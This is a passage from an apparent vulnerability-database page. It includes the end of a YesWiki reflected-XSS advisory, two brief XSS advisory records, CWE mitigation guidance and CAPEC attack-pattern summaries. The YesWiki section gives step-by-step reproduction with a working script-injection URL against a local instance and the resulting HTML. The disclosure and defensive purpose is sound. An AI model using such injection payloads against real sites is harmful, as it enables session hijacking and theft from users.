payload:\n\n```text\nhttp://127.0.0.1:8085/PagePrincipale?time=2026-05-24%2004:30:00%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cinput%20value=%22\n```\n\n6. Open the URL in a browser as a victim who has the required `read` and `write` rights.\n7. Observe that YesWiki still loads the archived revision view and displays the archived-revision warning block, proving the malformed `time` value matched the stored archived revision.\n8. Inspect the returned HTML. The response contains the injected payload inside the hidden form field:\n\n```html\n\u003cinput type=\"hidden\" name=\"time\" value=\"2026-05-24 04:30:00\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cinput value=\"\" /\u003e\n```\n\n9. The browser executes the injected JavaScript in the YesWiki origin. A simple payload such as `alert(1)` demonstrates code execution; a real payload could read browser-accessible data or perform actions in the victim\u0027s session.\n\n\u003cimg width=\"1600\" height=\"829\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d0b85a7c-2213-4459-908c-969934f06358\" /\u003e\n\n### Impact\nThis is a **reflected XSS** vulnerability in the archived-revision workflow.\n\nThe practical access model is:\n\n- The attacker only needs to send a crafted link.\n- The victim must have `read` and `write` access to the target page.\n- The target page must have at least one archived revision.\n- On deployments where anonymous visitors can edit public pages, the issue can be exploited against unauthenticated visitors as well.\n\nAn attacker may be able to:\n\n- Execute arbitrary JavaScript in the victim\u0027s browser.\n- Steal browser-accessible sensitive data.\n- Perform actions as the victim inside YesWiki.\n- Abuse the trusted YesWiki origin for phishing, UI redressing, or follow-on attacks.",
"id": "GHSA-35f3-pg38-486f",
"modified": "2026-07-09T21:00:55Z",
"published": "2026-07-09T21:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/35ad9c2bb6cd338198b37c1f745e24bc302a3560"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php`"
}
GHSA-36CF-MQ32-6X43
Vulnerability from github – Published: 2024-06-13 15:30 – Updated: 2024-06-13 15:30Verint - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
{
"affected": [],
"aliases": [
"CVE-2024-36395"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-13T13:15:49Z",
"severity": "MODERATE"
},
"details": "Verint - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)",
"id": "GHSA-36cf-mq32-6x43",
"modified": "2024-06-13T15:30:35Z",
"published": "2024-06-13T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36395"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-36F2-V56Q-6V2J
Vulnerability from github – Published: 2024-03-27 06:30 – Updated: 2024-08-06 18:30An issue was discovered on Supermicro X11SSM-F, X11SAE-F, and X11SSE-F 1.66 devices. An attacker could exploit an XSS issue that affects Internet Explorer 11 on Windows.
{
"affected": [],
"aliases": [
"CVE-2023-40290"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T04:15:10Z",
"severity": "HIGH"
},
"details": "An issue was discovered on Supermicro X11SSM-F, X11SAE-F, and X11SSE-F 1.66 devices. An attacker could exploit an XSS issue that affects Internet Explorer 11 on Windows.",
"id": "GHSA-36f2-v56q-6v2j",
"modified": "2024-08-06T18:30:49Z",
"published": "2024-03-27T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40290"
},
{
"type": "WEB",
"url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Oct_2023"
},
{
"type": "WEB",
"url": "https://www.supermicro.com/en/support/security_center#%21advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
CAPEC-18: XSS Targeting Non-Script Elements
This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack.
CAPEC-193: PHP Remote File Inclusion
In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.
CAPEC-32: XSS Through HTTP Query Strings
An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.
CAPEC-86: XSS Through HTTP Headers
An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.